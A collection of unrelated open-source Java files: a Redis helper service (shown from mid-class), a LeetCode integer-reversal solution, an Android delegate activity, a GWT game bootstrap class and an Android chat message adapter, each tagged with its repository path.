jedis.close(); } } } @Override public <T> boolean setWithNoSerialize(String key, T value) { if (value == null) { return false; } Jedis jedis = null; try { jedis = getFromJedisPool(); jedis.set(key, value.toString()); return true; } catch (Exception e) { logger.warn("setWithNoSerialize {} error " + e.getMessage(), key); return false; } finally { if (jedis != null) { jedis.close(); } } } @Override public <T> boolean setWithNoSerialize(String key, T value, int seconds) { if (value == null) { return false; } Jedis jedis = null; try { jedis = getFromJedisPool(); jedis.setex(key, seconds, value.toString()); return true; } catch (Exception e) { logger.warn("setWithNoSerialize {} error " + e.getMessage(), key); return false; } finally { if (jedis != null) { jedis.close(); } } } @Override public String getWithNoSerialize(String key) { Jedis jedis = null; try { jedis = getFromJedisPool(); return jedis.get(key); } catch (Exception e) { logger.warn("getWithNoSerialize {} error " + e.getMessage(), key); return null; } finally { if (jedis != null) { jedis.close(); } } } @Override public boolean remove(String key) { Jedis jedis = null; try { jedis = getFromJedisPool(); jedis.del(key); return true; } catch (Exception e) { logger.warn("remove {} error " + e.getMessage(), key); return false; } finally { if (jedis != null) { jedis.close(); } } } @Override public boolean zadd(String key, long score, String member) { Jedis jedis = null; try { jedis = getFromJedisPool(); jedis.zadd(key, score, member); return true; } catch (Exception e) { logger.warn("zadd {} {} {} error " + e.getMessage(), key, score, member); return false; } finally { if (jedis != null) { jedis.close(); } } } @Override public boolean hset(String key, String field, String value) { Jedis jedis = null; try { jedis = getFromJedisPool(); jedis.hset(key, field, value); return true; } catch (Exception e) { logger.warn("hset {} {} {} error " + e.getMessage(), key, field, value); return false; } finally { if (jedis != null) { jedis.close(); } } } @Override public boolean hmset(String key, Map<String, String> map) { Jedis jedis = null; try { jedis = getFromJedisPool(); jedis.hmset(key, map); return true; } catch (Exception e) { logger.warn("hset {} {} error " + e.getMessage(), key, map); return false; } finally { if (jedis != null) { jedis.close(); } } } @Override public Map<String, String> hgetAll(String key) { Jedis jedis = null; try { jedis = getFromJedisPool(); return jedis.hgetAll(key); } catch (Exception e) { logger.warn("hgetAll {} error " + e.getMessage(), key); return Collections.emptyMap(); } finally { if (jedis != null) { jedis.close(); } } } @Override public <T> T get(String key) { Jedis jedis = null; try { jedis = getFromJedisPool(); byte[] bytes = jedis.get(key.getBytes(Charset.forName("UTF-8"))); if (bytes == null) { return null; } T t = protostuffSerializer.deserialize(bytes); return t; } catch (Exception e) { logger.warn("get {} error " + e.getMessage(), key); return null; } finally { if (jedis != null) { jedis.close(); } } } @Override public boolean del(String key) { Jedis jedis = null; try { jedis = getFromJedisPool(); jedis.del(key); return true; } catch (Exception e) { logger.warn("del {} error " + e.getMessage(), key); return false; } finally { if (jedis != null) { jedis.close(); } } } @Override public void zincrby(String key, double score, String member) { Jedis jedis = null; try { jedis = getFromJedisPool(); jedis.zincrby(key, score, member); } catch (Exception e) { logger.warn("zincrby {} {} {} error " + e.getMessage(), key, score, member); } finally { if (jedis != null) { jedis.close(); } } } @Override public Set<Tuple> zrangeWithScores(String key, long start, long end) { Jedis jedis = null; try { jedis = getFromJedisPool(); return jedis.zrangeWithScores(key, start, end); } catch (Exception e) { logger.warn("zrangeWithScores {} {} {}error " + e.getMessage(), key, start, end); return null; } finally { if (jedis != null) { jedis.close(); } } } @Override public boolean exists(String key) { Jedis jedis = null; try { jedis = getFromJedisPool(); return jedis.exists(key); } catch (Exception e) { logger.warn("del {} error " + e.getMessage(), key); return false; } finally { if (jedis != null) { jedis.close(); } } } public void setProtostuffSerializer(ProtostuffSerializer protostuffSerializer) { this.protostuffSerializer = protostuffSerializer; } }
sohutv/cachecloud
cachecloud-web/src/main/java/com/sohu/cache/redis/impl/AssistRedisServiceImpl.java
65,604
package leetcode.LC_Bit; public class Solution_7 { /** * 不能使用 Math.addExact() 源码技巧 * <P> 判断 int 加法溢出: * <P> (新值 == 旧值 * 10 + digit) && (新值 / 10 !== 旧值) * <P> 相当于在旧值的个位数处推入一个 digit 得到了新值 * <P> 但新值将该个位数去掉后不等于旧值,表明 int 溢出了 * @see leetcode.LC_Array.Solution_29 */ public int reverse1(int x) { int res = 0; while (x != 0) { int digit = x % 10; // 记录 res 旧值再更新 res int pre = res; res = pre * 10 + digit; // 判断是否 int 溢出(不能使用 Math.addExact() 源码技巧,万一 res 和 pre 都是负数,则判断不对) if (res / 10 != pre) { return 0; } x /= 10; } return res; } }
haitao9833/haitaoLeetCode
LC_Bit/Solution_7.java
65,605
package com.didi.hummer.delegate; import android.app.Activity; import android.os.Bundle; import android.view.View; import androidx.appcompat.app.AppCompatActivity; import com.didi.hummer.adapter.navigator.NavPage; import com.didi.hummer.adapter.navigator.impl.DefaultNavigatorAdapter; /** * 默认Hummer页面 * 使用代理方式加载 简化代码 * * Created by Xingjm on 2021-01-17. */ public class HummerDelegateActivity extends AppCompatActivity { private IHummerDelegagte mDelegate; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); mDelegate = createHummerDelegate(getPageInfo()); if (mDelegate == null) { throw new RuntimeException("Delegate cannot be null"); } // 这是兜底的初始化,万一业务方没有及时做初始化,可以有一个兜底的 mDelegate.initSDK(); View view = mDelegate.initViewAndRender(); setContentView(view); } @Override public void onBackPressed() { if (mDelegate.onBackPressed()) { return; } super.onBackPressed(); } @Override public void finish() { setPageResult(); super.finish(); } protected void setPageResult() { setResult(Activity.RESULT_OK, mDelegate.getJsPageResultIntent()); } /** * 创建Delegate * @param page * @return */ protected IHummerDelegagte createHummerDelegate(NavPage page) { // 子类可重写 return new HummerDelegateAdapter(this, page); } /** * 获取通过Intent传递过来的PageInfo(子类可以重写,用自己的方式获取PageInfo) */ protected NavPage getPageInfo() { NavPage page = null; try { page = (NavPage) getIntent().getSerializableExtra(DefaultNavigatorAdapter.EXTRA_PAGE_MODEL); } catch (Exception e) { e.printStackTrace(); } return page; } }
didi/Hummer
android/hummer/src/main/java/com/didi/hummer/delegate/HummerDelegateActivity.java
65,606
/** * Copyright 2008 - 2015 The Loon Game Engine Authors * * Licensed under the Apache License, Version 2.0 (the "License"); you may not * use this file except in compliance with the License. You may obtain a copy of * the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and limitations under * the License. * * @project loon * @author cping * @email:[email protected] * @version 0.5 */ package loon.html5.gwt; import loon.Asyn; import loon.LGame; import loon.LSetting; import loon.Support; import loon.html5.gwt.preloader.LocalAssetResources; import loon.jni.NativeSupport; import loon.jni.TimerCallback; import loon.utils.reply.Act; import com.google.gwt.animation.client.AnimationScheduler; import com.google.gwt.animation.client.AnimationScheduler.AnimationCallback; import com.google.gwt.core.client.Duration; import com.google.gwt.core.client.GWT; import com.google.gwt.core.client.JavaScriptObject; import com.google.gwt.dom.client.Element; import com.google.gwt.dom.client.Style.Cursor; import com.google.gwt.user.client.Timer; import com.google.gwt.user.client.Window; import com.google.gwt.user.client.ui.Panel; public class GWTGame extends LGame { private static final int MIN_DELAY = 5; /** * 由于手机版的浏览器对webgl支持实在各种奇葩,不同手机环境差异实在惊人,干脆把常用的刷新方式都写出来,用户自己选…… */ public static enum Repaint { // RequestAnimationFrame效率最高 // Schedule在某些情况下更适用(有间断时) // AnimationScheduler本质是前两者的api混合,会等待canvas渲染后刷新,虽然效率最低,但是最稳,不容易造成webgl卡死现象 // 为了稳定考虑,所以默认用这个. RequestAnimationFrame, Schedule, AnimationScheduler; } public static class GWTSetting extends LSetting { // 经过几天来的实测,webgl对不同浏览器(以及在不同手机环境)下的差异太大,于是把刷新模式也交给用户定制好了…… // 暂时来说,canvas还是目前手机版html5的王道,webgl差异不解决,很难推(大家都用chrome世界就完美了……) /** * 经过几天的反复测试,最终还是默认用gwt提供的AnimationScheduler刷新(本质还是RequestAnimationFrame * 但是不同平台上综合来说,这个有对象绑定,会匀速刷新canvas,不容易造成卡死……) **/ public Repaint repaint = Repaint.AnimationScheduler; // 是否支持使用flash加载资源(如果要做成静态文件包,涉及跨域问题(也就是非服务器端运行时),所以需要禁止此项) public boolean preferFlash = false; // 当前浏览器的渲染模式 public Mode mode = GWTUrl.Renderer.requestedMode(); // 当此项存在时,会尝试加载内部资源 public LocalAssetResources internalRes = null; // 当此项存在时,同样会尝试加载内部资源 public boolean jsloadRes = false; public boolean transparentCanvas = false; public boolean antiAliasing = true; public boolean stencil = false; public boolean premultipliedAlpha = false; public boolean preserveDrawingBuffer = false; // 如果此项开启,按照屏幕大小等比缩放 public boolean useRatioScaleFactor = false; // 需要绑定的层id public String rootId = "loon-root"; // 初始化时的进度条样式(不实现则默认加载) public GWTProgress progress = null; // 如果此项为true,则仅以异步加载资源 public boolean asynResource = false; } public static enum Mode { WEBGL, CANVAS, AUTODETECT; } public static class AgentInfo extends JavaScriptObject { public final native boolean isFirefox() /*-{ return this.isFirefox; }-*/; public final native boolean isChrome() /*-{ return this.isChrome; }-*/; public final native boolean isSafari() /*-{ return this.isSafari; }-*/; public final native boolean isOpera() /*-{ return this.isOpera; }-*/; public final native boolean isIE() /*-{ return this.isIE; }-*/; public final native boolean isMacOS() /*-{ return this.isMacOS; }-*/; public final native boolean isLinux() /*-{ return this.isLinux; }-*/; public final native boolean isWindows() /*-{ return this.isWindows; }-*/; protected AgentInfo() { } } public void setTitle(String title) { Window.setTitle(title); } public void setCursor(Cursor cursor) { Element rootElement = graphics.rootElement; if (cursor == null) { rootElement.getStyle().setProperty("cursor", "none"); } else { rootElement.getStyle().setCursor(cursor); } } public void disableRightClickContextMenu() { disableRightClickImpl(graphics.rootElement); } private final static Support support = new NativeSupport(); static final AgentInfo agentInfo = computeAgentInfo(); final GWTSetting gwtconfig; private final double start = initNow(); public Act<LGame> frame = Act.create(); private final GWTLog log = GWT.create(GWTLog.class); private final Asyn syn = new Asyn.Default(log, frame); private final GWTAccelerometer accelerometer = new GWTAccelerometer(); private final GWTAssets assets; private final GWTGraphics graphics; private final GWTInputMake input; private final GWTSave save; private final GWTClipboard clipboard; private final Loon game; public GWTGame(Loon game, Panel panel, GWTSetting config) { super(config, game); GWT.setUncaughtExceptionHandler(new GWT.UncaughtExceptionHandler() { @Override public void onUncaughtException(Throwable e) { reportError("Uncaught Exception: ", e); } }); this.game = game; this.gwtconfig = config; log.info("Browser orientation: " + game.getOrientation()); log.info("Browser screen width: " + game.getContainerWidth() + ", screen height: " + game.getContainerHeight()); log.info("devicePixelRatio: " + Loon.devicePixelRatio() + " backingStorePixelRatio: " + Loon.backingStorePixelRatio()); if (config.useRatioScaleFactor) { int width = setting.width; int height = setting.height; float scale = Loon.devicePixelRatio(); width *= scale; height *= scale; setting.width_zoom = width; setting.height_zoom = height; setting.updateScale(); // 若缩放值为无法实现的数值,则默认操作 } try { graphics = new GWTGraphics(panel, this, config); input = new GWTInputMake(this, graphics.rootElement); assets = new GWTAssets(this); save = new GWTSave(this); clipboard = new GWTClipboard(); } catch (Throwable e) { log.error("init()", e); Window.alert("failed to init(): " + e.getMessage()); throw new RuntimeException(e); } if (setting != null && setting.appName != null) { setTitle(setting.appName); } initProcess(); } private boolean initGwt = false; private void init() { if (!initGwt) { if (game != null && game.isMobile()) { Window.scrollTo(0, 1); } game.initialize(); initGwt = true; } } public void start() { Repaint repaint = game.config.repaint; // 此处使用了三种不同的画面刷新模式,万一有浏览器刷不动,大家可以换模式看看…… switch (repaint) { case RequestAnimationFrame: requestAnimationFrame(game.setting.fps, new TimerCallback() { @Override public void fire() { init(); requestAnimationFrame(game.setting.fps, this); emitFrame(); } }); break; case AnimationScheduler: AnimationScheduler.get().requestAnimationFrame(new AnimationCallback() { @Override public void execute(double timestamp) { init(); emitFrame(); AnimationScheduler.get().requestAnimationFrame(this, graphics.canvas); } }, graphics.canvas); break; case Schedule: final int framed = (int) ((1f / game.setting.fps) * 1000f); new Timer() { @Override public void run() { init(); Duration duration = new Duration(); emitFrame(); this.schedule(Math.max(MIN_DELAY, framed - duration.elapsedMillis())); } }.schedule(framed); break; } } @Override public Type type() { return Type.HTML5; } @Override public double time() { return now(); } @Override public int tick() { return (int) (now() - start); } @Override public void openURL(String url) { Window.open(url, "_blank", ""); } @Override public Asyn asyn() { return syn; } @Override public GWTAccelerometer accel() { return accelerometer; } @Override public GWTAssets assets() { return assets; } @Override public GWTGraphics graphics() { return graphics; } @Override public GWTInputMake input() { return input; } @Override public GWTLog log() { return log; } @Override public GWTSave save() { return save; } @Override public GWTClipboard clipboard() { return clipboard; } @Override public Support support() { return support; } private native JavaScriptObject getWindow() /*-{ return $wnd; }-*/; private native void requestAnimationFrame(float frameRate, TimerCallback callback) /*-{ var fn = function() { [email protected]::fire()(); }; if (frameRate < 60) { $wnd.setTimeout(fn, 1000 / frameRate); } else { if ($wnd.requestAnimationFrame) { $wnd.requestAnimationFrame(fn); } else if ($wnd.mozRequestAnimationFrame) { $wnd.mozRequestAnimationFrame(fn); } else if ($wnd.webkitRequestAnimationFrame) { $wnd.webkitRequestAnimationFrame(fn); } else if ($wnd.oRequestAnimationFrame) { $wnd.oRequestAnimationFrame(fn); } else if ($wnd.msRequestAnimationFrame) { $wnd.msRequestAnimationFrame(fn); } else { $wnd.setTimeout(fn, 16); } } }-*/; private static native AgentInfo computeAgentInfo() /*-{ var userAgent = navigator.userAgent.toLowerCase(); return { isFirefox : userAgent.indexOf("firefox") != -1, isChrome : userAgent.indexOf("chrome") != -1, isSafari : $wnd.opera || userAgent.indexOf("safari") != -1, isOpera : userAgent.indexOf("opera") != -1, isIE : userAgent.indexOf("msie") != -1 || userAgent.indexOf("trident") != -1, isMacOS : userAgent.indexOf("mac") != -1, isLinux : userAgent.indexOf("linux") != -1, isWindows : userAgent.indexOf("win") != -1 }; }-*/; private static native void disableRightClickImpl(JavaScriptObject target) /*-{ target.oncontextmenu = function() { return false; }; }-*/; private static native double initNow() /*-{ if (!Date.now) Date.now = function now() { return +(new Date); }; return Date.now(); }-*/; private static native double now() /*-{ return Date.now(); }-*/; /** * 检测浏览器窗体是否被隐藏起来 * * @return */ private native boolean isHidden() /*-{ return $doc.hidden; }-*/; public boolean isShow() { return isHidden(); } @Override public boolean isMobile() { if (game == null) { return false; } return super.isMobile() || game.isMobile(); } }
cping/LGame
Java/Loon-Neo-GWT/src/loon/html5/gwt/GWTGame.java
65,607
package org.hootina.platform.adapters; import android.content.Context; import android.content.res.AssetManager; import android.graphics.Bitmap; import android.graphics.BitmapFactory; import android.graphics.drawable.BitmapDrawable; import android.graphics.drawable.Drawable; import android.text.Html; import android.text.Html.ImageGetter; import android.text.Spannable; import android.text.SpannableString; import android.text.style.ImageSpan; import android.util.Log; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.BaseAdapter; import android.widget.ImageView; import android.widget.ProgressBar; import android.widget.TextView; import org.hootina.platform.R; import org.hootina.platform.activities.member.ChattingActivity; import org.hootina.platform.dialogs.MsgDialog; import org.hootina.platform.model.GroupInfos; import org.hootina.platform.result.ContentText; import org.hootina.platform.result.MessageTextEntity; import org.hootina.platform.services.Face; import org.hootina.platform.userinfo.UserInfo; import org.hootina.platform.userinfo.UserSession; import org.hootina.platform.utils.FaceConversionUtil; import org.hootina.platform.utils.HeadUtil; import org.hootina.platform.utils.LoggerFile; import org.hootina.platform.utils.PictureUtil; import org.hootina.platform.utils.TimeUtil; import org.hootina.platform.utils.UIUtils; import org.hootina.platform.widgets.CircularImage; import com.bumptech.glide.Glide; import com.lidroid.xutils.DbUtils; import java.io.File; import java.io.IOException; import java.io.InputStream; import java.util.Date; import java.util.List; public class ChattingAdapter extends BaseAdapter { private static final String LOG_TAG = "ChattingAdapterTag"; private Context mContext; private List<MessageTextEntity> mChatMessages; private DbUtils db; private String drawablename; //private Date date; Bitmap bm; private int mnAccountID; private int position; private MsgDialog mDialog; //private int mResourceID; public ChattingAdapter(Context context, List<MessageTextEntity> messages) { super(); mContext = context; mChatMessages = messages; mDialog = new MsgDialog(context); } public void setChatMessages(List<MessageTextEntity> chatMessages) { mChatMessages = chatMessages; } @Override public int getCount() { if (mChatMessages == null) return 0; return mChatMessages.size(); } @Override public Object getItem(int position) { return mChatMessages.get(position); } @Override public long getItemId(int position) { return position; } @Override public View getView(int position, View convertView, ViewGroup parent) { MessageTextEntity msgItem = mChatMessages.get(position); int msgType = msgItem.getMsgType(); int senderID = msgItem.getSenderID(); int targetID = msgItem.getTargetID(); int selfID = UserSession.getInstance().loginUser.get_userid(); if (msgType == MessageTextEntity.CONTENT_TYPE_TEXT) { if (senderID == selfID) convertView = LayoutInflater.from(mContext).inflate(R.layout.raw_send_message, null); else convertView = LayoutInflater.from(mContext).inflate(R.layout.raw_received_message, null); } else if (msgType == MessageTextEntity.CONTENT_TYPE_IMAGE_CONFIRM || msgType == MessageTextEntity.CONTENT_TYPE_MOBILE_IMAGE) { ImageView img,headImg; if (senderID == selfID) convertView = LayoutInflater.from(mContext).inflate(R.layout.picture_right, null); else convertView = LayoutInflater.from(mContext).inflate(R.layout.picture_left, null); img = (ImageView) convertView.findViewById(R.id.img); headImg = (ImageView) convertView.findViewById(R.id.img_head); Glide.with(convertView.getContext()) .load(new File(mChatMessages.get(position).getImgFile())) .into(img); //好友发送的消息 if (senderID != selfID) { // List<UserInfo> storedUserList = null; // // try { // // if (isGroup(targetID)) { // storedUserList = BaseActivity.getDb().findAll( // Selector.from(UserInfo.class) // .where("mTargetID", "=", targetID) // .and(WhereBuilder.b("mSenderID", "=", senderID))); // } else { // storedUserList = BaseActivity.getDb().findAll( // Selector.from(UserInfo.class) // .where("mTargetID", "=", targetID) // .and(WhereBuilder.b("mSenderID", "=", senderID))); // } // } catch (DbException e) { // e.printStackTrace(); // } //UserInfo friendInfo = UserSession.getInstance().getUserInfoById(senderID); //MyDbUtil.getContactsDao().load((long) senderID); Integer faceID; if (UserInfo.isGroup(senderID)) faceID = HeadUtil.get(targetID); else faceID = HeadUtil.get(senderID); if (faceID == null) { Log.e(LOG_TAG, "line 156, HeadUtil.get error, targetID: " + targetID + ", senderID: " + senderID); faceID = 0; } Glide.with(convertView.getContext()) .load("file:///android_asset/head" + faceID + ".png") .into(headImg); } else { Bitmap bmp = PictureUtil.getHeadPic(mContext.getAssets(), UserSession.getInstance().loginUser); if (bmp != null) headImg.setImageBitmap(bmp); } return convertView; } else { //TODO: 万一出现这种情况怎么办? LoggerFile.LogError("Illegal msg type:" + msgType); } final ViewHolder holder = new ViewHolder(); long msgTimeLong = msgItem.getMsgTime() * 1000; Date msgTime = new Date(msgTimeLong); String msgTimeStr = TimeUtil.getFormattedTimeString(msgTime); holder.time = (TextView) convertView.findViewById(R.id.timestamp); holder.time.setText(msgTimeStr); holder.img = (CircularImage) convertView.findViewById(R.id.iv_userhead); holder.msg_state = (ImageView) convertView.findViewById(R.id.msg_status); holder.tv_name = (TextView) convertView.findViewById(R.id.tv_name); holder.text = (TextView) convertView.findViewById(R.id.tv_chatcontent); holder.iv_sendPicture = (ImageView) convertView.findViewById(R.id.iv_sendPicture); holder.tvSenderName = (TextView) convertView.findViewById(R.id.tv_window_title); //群消息显示发消息人的用户昵称 if (UserInfo.isGroup(targetID)) { String senderName = UserSession.getInstance().getGroupMemberNickname(targetID, senderID); holder.tvSenderName.setText(senderName); } ChattingActivity chatActivity = (ChattingActivity) mContext; if (chatActivity != null) { if (UserInfo.isGroup(chatActivity.getTargetID())) { String userName = UserSession.getInstance().getNicknameById(senderID); if (holder.tv_name != null) { holder.tv_name.setVisibility(View.VISIBLE); holder.tv_name.setText(userName); } } } holder.bar = (ProgressBar) convertView.findViewById(R.id.pb_sending); //正在发送和发送标识是否显隐藏 int nFlag1 = View.GONE; int nFlag2 = View.GONE; // if (message.getmMsgState() == 0) { // nFlag1 = View.GONE; // nFlag2 = View.VISIBLE; // } else if (message.getmMsgState() == 1) { // nFlag1 = View.GONE; // nFlag2 = View.GONE; // } else { // nFlag1 = View.VISIBLE; // nFlag2 = View.GONE; // } if (holder.msg_state != null) { holder.msg_state.setVisibility(nFlag1); } if (holder.bar != null) { holder.bar.setVisibility(nFlag2); } //好友发送的消息 if (senderID != selfID) { // List<UserInfo> storedUserList = null; // // try { // // if (isGroup(targetID)) { // storedUserList = BaseActivity.getDb().findAll( // Selector.from(UserInfo.class) // .where("mTargetID", "=", targetID) // .and(WhereBuilder.b("mSenderID", "=", senderID))); // } else { // storedUserList = BaseActivity.getDb().findAll( // Selector.from(UserInfo.class) // .where("mTargetID", "=", targetID) // .and(WhereBuilder.b("mSenderID", "=", senderID))); // } // } catch (DbException e) { // e.printStackTrace(); // } //UserInfo friendInfo = UserSession.getInstance().getUserInfoById(senderID); //MyDbUtil.getContactsDao().load((long) senderID); Integer faceID; if (UserInfo.isGroup(senderID)) faceID = HeadUtil.get(targetID); else faceID = HeadUtil.get(senderID); if (faceID == null) { Log.e(LOG_TAG, "line 267, HeadUtil.get error, targetID: " + targetID + ", senderID: " + senderID); faceID = 0; } Glide.with(convertView.getContext()) .load("file:///android_asset/head" + faceID + ".png") .into(holder.img); //if (storedUserList != null && storedUserList.size() > 0) { // Bitmap bmp = PictureUtil.getFriendHeadPic(mContext.getAssets(), friendInfo); // if (bmp != null) { // holder.img.setImageBitmap(bmp); // } //} //自己发送的消息 } else { Bitmap bmp = PictureUtil.getHeadPic(mContext.getAssets(), UserSession.getInstance().loginUser); if (bmp != null) { holder.img.setImageBitmap(bmp); } } //idd: [{"msgText":"dfg"}] //idd: |[1]| Face f; List<ContentText> c = msgItem.getContent(); if (c != null) { for (int i = 0; i < c.size(); ++i) { ContentText t = c.get(i); if (t == null) continue; if (t.getFaceID() != Face.DEFAULT_NULL_FACEID) { //String html = "<img src='" + drawablename + "'/>"; String html = "<img src='" + "face" + t.getFaceID() + ".png'/>"; ImageGetter imgGetter = new ImageGetter() { @Override public Drawable getDrawable(String source) { Bitmap b = getImageFromAssetsFile(source); Drawable drawable = new BitmapDrawable(b); drawable.setBounds(0, 0, 56, 56); //drawable.setBackgroundColor(Color.TRANSPARENT); return drawable; // 获取到资源id //int id = Integer.parseInt("14"); //int id = mContext.getResources().getIdentifier(source , "drawable", mContext.getPackageName()); // Drawable drawable = mContext.getResources().getDrawable(R.drawable.face0); // //Drawable drawable = Drawable.createFromPath(source); // drawable.setBounds(0, 0, drawable.getIntrinsicWidth(), drawable.getIntrinsicHeight()); // return drawable; } }; CharSequence charSequence = Html.fromHtml(html, imgGetter, null); // getImageFromAssetsFile("face" + t.getFaceID() + ".png" String faceIDStr = String.valueOf(t.getFaceID()); ImageSpan imgSpan = new ImageSpan(holder.text.getContext(), FaceConversionUtil.getInstace().getEmojeId(faceIDStr)); SpannableString spannableString = new SpannableString(" "); spannableString.setSpan(imgSpan, 0, 1, Spannable.SPAN_EXCLUSIVE_EXCLUSIVE); if (charSequence != null) holder.text.append(spannableString); } else { if (t.getMsgText() != null) { holder.text.append(t.getMsgText()); } } } } // String idd = msgItem.getMsgText(); // String[] ss = idd.split("\\|"); // if (msgType == ChatMessage.CONTENT_TYPE_TEXT) { // for (int i = 0; i < ss.length; i++) { // String id = ss[i]; // if (id.startsWith("[") && id.endsWith("]")) { // String faceId = id.substring(1, id.length() - 1); // db = DbUtils.create(mContext); // try { // List<Face> list = db.findAll(Selector.from(Face.class) // .where("faceid", "=", faceId)); // if (list != null) { // for (int f = 0; f < list.size(); f++) { // String fid = list.get(f).getFaceid(); // if (fid.equals(faceId)) { // drawablename = list.get(f).getFile(); // // } // } // } // } catch (DbException e) { // e.printStackTrace(); // } // String html = "<img src='" + drawablename + "'/>"; // ImageGetter imgGetter = new ImageGetter() { // // @Override // public Drawable getDrawable(String source) { // Bitmap b = getImageFromAssetsFile(source); // Drawable d = new BitmapDrawable(b); // d.setBounds(0, 0, 60, 60); // return d; // } // }; // CharSequence charSequence = Html.fromHtml(html, imgGetter, // null); // // holder.text.append(charSequence); // } else if (id.startsWith("([") && id.endsWith("])")) { // holder.text.append(""); // // } else { // holder.text.append(id); // } // } // holder.text.setTag(position); // holder.text.setOnLongClickListener(new OnLongClickListener() { // // @Override // public boolean onLongClick(View v) { // int position = (Integer) holder.text.getTag(); // int uAccountID = mChatMessages.get(position).getTargetID(); // int uSendID = mChatMessages.get(position).getSenderID(); // int id = mChatMessages.get(position).getId(); // String text = mChatMessages.get(position).getMsgText(); // String typ = ""; // MsgDialog.setpostion(position, uAccountID, uSendID, id, text, typ); // mDialog.show(); // return false; // } // }); // // } else if (msgType == ChatMessage.CONTENT_TYPE_IMAGE_CONFIRM || // msgType == ChatMessage.CONTENT_TYPE_MOBILE_IMAGE) { // if (msgItem.getMsgBitmap() == null) { // String a = idd.substring(2, idd.length() - 2); // String[] sss = a.split("\\,"); // String name = sss[0]; // name = name.replaceAll("\"", ""); // // bm = null; // if (senderID == targetID) // 自己发送的图, // // 直接取本地图片 // { // // bm = PictureUtil.decodePicFromFullPath("/sdcard/flamingo/" + name); // // } else { // String servername = sss[1]; // servername = servername.replaceAll("\"", ""); // String imge = "/sdcard/flamingo" + name; // File file = new File(imge); // if (file.exists()) { // String picWidth = sss[3]; // String picHeight = sss[4]; // // bm = PictureUtil.decodePicFromFile(name, 1); // } else { // PictureUtil.loadfile(name, servername); // } // } // // if (bm != null) // msgItem.setMsgBitmap(bm); // else // holder.iv_sendPicture.setBackgroundResource(R.drawable.arrow_down); // } // holder.iv_sendPicture.setImageBitmap(msgItem.getMsgBitmap()); // holder.iv_sendPicture.setTag(position); // // holder.iv_sendPicture // .setOnLongClickListener(new OnLongClickListener() { // // @Override // public boolean onLongClick(View v) { // int position = (Integer) holder.iv_sendPicture // .getTag(); // int uAccountID = mChatMessages.get(position).getTargetID(); // int uSendID = mChatMessages.get(position).getSenderID(); // int id = mChatMessages.get(position).getId(); // String text = mChatMessages.get(position).getmMsgText(); // String typ = "2"; // MsgDialog.setpostion(position, uAccountID, uSendID, // id, text, typ); // mDialog.show(); // // return true; // } // }); // // holder.iv_sendPicture.setOnClickListener(new OnClickListener() { // // @Override // public void onClick(View v) { // // TODO Auto-generated method stub // // 加载popupWindow的布局文件 // View contentView = LayoutInflater.from(mContext).inflate( // R.layout.popup, null); // // 设置popupWindow的背景颜色 // contentView.setBackgroundColor(Color.BLACK); // // 声明一个弹出框 // final PopupWindow popupWindow = new PopupWindow( // contentView, LayoutParams.FILL_PARENT, // LayoutParams.FILL_PARENT); // popupWindow.setFocusable(true); // popupWindow.setOutsideTouchable(true); // // popupWindow.setBackgroundDrawable(new PaintDrawable()); // // TextView tv = (TextView) contentView.findViewById(R.id.tv); // popupWindow.showAtLocation(tv, Gravity.CENTER_VERTICAL, 0, // 0); // final ImageView imageView = (ImageView) contentView // .findViewById(R.id.logo_b); // int width = ScreenUtils.getScreenWidth(mContext); // int height = ScreenUtils.getScreenHeight(mContext); // int postions = (Integer) v.getTag(); // // bm=(Bitmap) v.getTag(); // bm = mChatMessages.get(postions).getMsgBitmap(); // // 将图片设置为宽100,高200,在这儿就可以实现图片的大小缩放 // if (bm == null) { // return; // } // int bw = bm.getWidth(); // int bh = bm.getHeight(); // if (bw > width) { // bw = width; // } // if (bh > height) { // bh = height; // } // double scale; // double scalew = width / bw; // double scaleh = height / bh; // Double obj1 = new Double(scalew); // Double obj2 = new Double(scaleh); // int retval = obj1.compareTo(obj2); // if (retval >= 0) { // scale = scaleh; // } else { // scale = scalew; // } // // Bitmap resize = Bitmap.createScaledBitmap(bm, bw, bh, true); // Matrix m = new Matrix(); // float scaleWidth = (float) (1 * scale); // float scaleHeight = (float) (1 * scale); // m.postScale(scaleWidth, scaleHeight); // // 做好旋转与大小之后,重新创建位图,0-width宽度上显示的区域,高度类似 // Bitmap b = Bitmap.createBitmap(resize, 0, 0, bw, bh, m, // true); // // 显示图片 // imageView.setImageBitmap(b); // imageView.setOnClickListener(new OnClickListener() { // // @Override // public void onClick(View v) { // // TODO Auto-generated method stub // popupWindow.dismiss(); // } // }); // // } // }); // } return convertView; } // private static int calculateInSampleSize(BitmapFactory.Options options, // int reqWidth, int reqHeight) { // // raw height and width of image // final int height = options.outHeight; // final int width = options.outWidth; // // int initSize = 1; // if (height > reqHeight || width > reqWidth) { // if (width > height) { // initSize = Math.round((float) height / (float) reqHeight); // } else { // initSize = Math.round((float) width / (float) reqWidth); // } // } // // /* // * the function rounds up the sample size to a power of 2 or multiple of // * 8 because BitmapFactory only honors sample size this way. For // * example, BitmapFactory down samples an image by 2 even though the // * request is 3. // */ // int roundedSize; // if (initSize <= 8) { // roundedSize = 1; // while (roundedSize < initSize) { // roundedSize <<= 1; // } // } else { // roundedSize = (initSize + 7) / 8 * 8; // } // // return roundedSize; // } private Bitmap getImageFromAssetsFile(String fileName) { Bitmap image = null; AssetManager am = mContext.getResources().getAssets(); try { BitmapFactory.Options opts = new BitmapFactory.Options(); opts.inPreferredConfig = Bitmap.Config.ARGB_8888; InputStream is = am.open(fileName); image = BitmapFactory.decodeStream(is, null, opts); is.close(); } catch (IOException e) { e.printStackTrace(); } return image; } static class ViewHolder { TextView time; TextView text; TextView tv; TextView tv_name; CircularImage img; //头像 ImageView iv_sendPicture; ImageView msg_state; ProgressBar bar; TextView tvSenderName; //发消息人昵称 } }
balloonwj/flamingo
flamingoAndroid/app/src/main/java/org/hootina/platform/adapters/ChattingAdapter.java
65,608
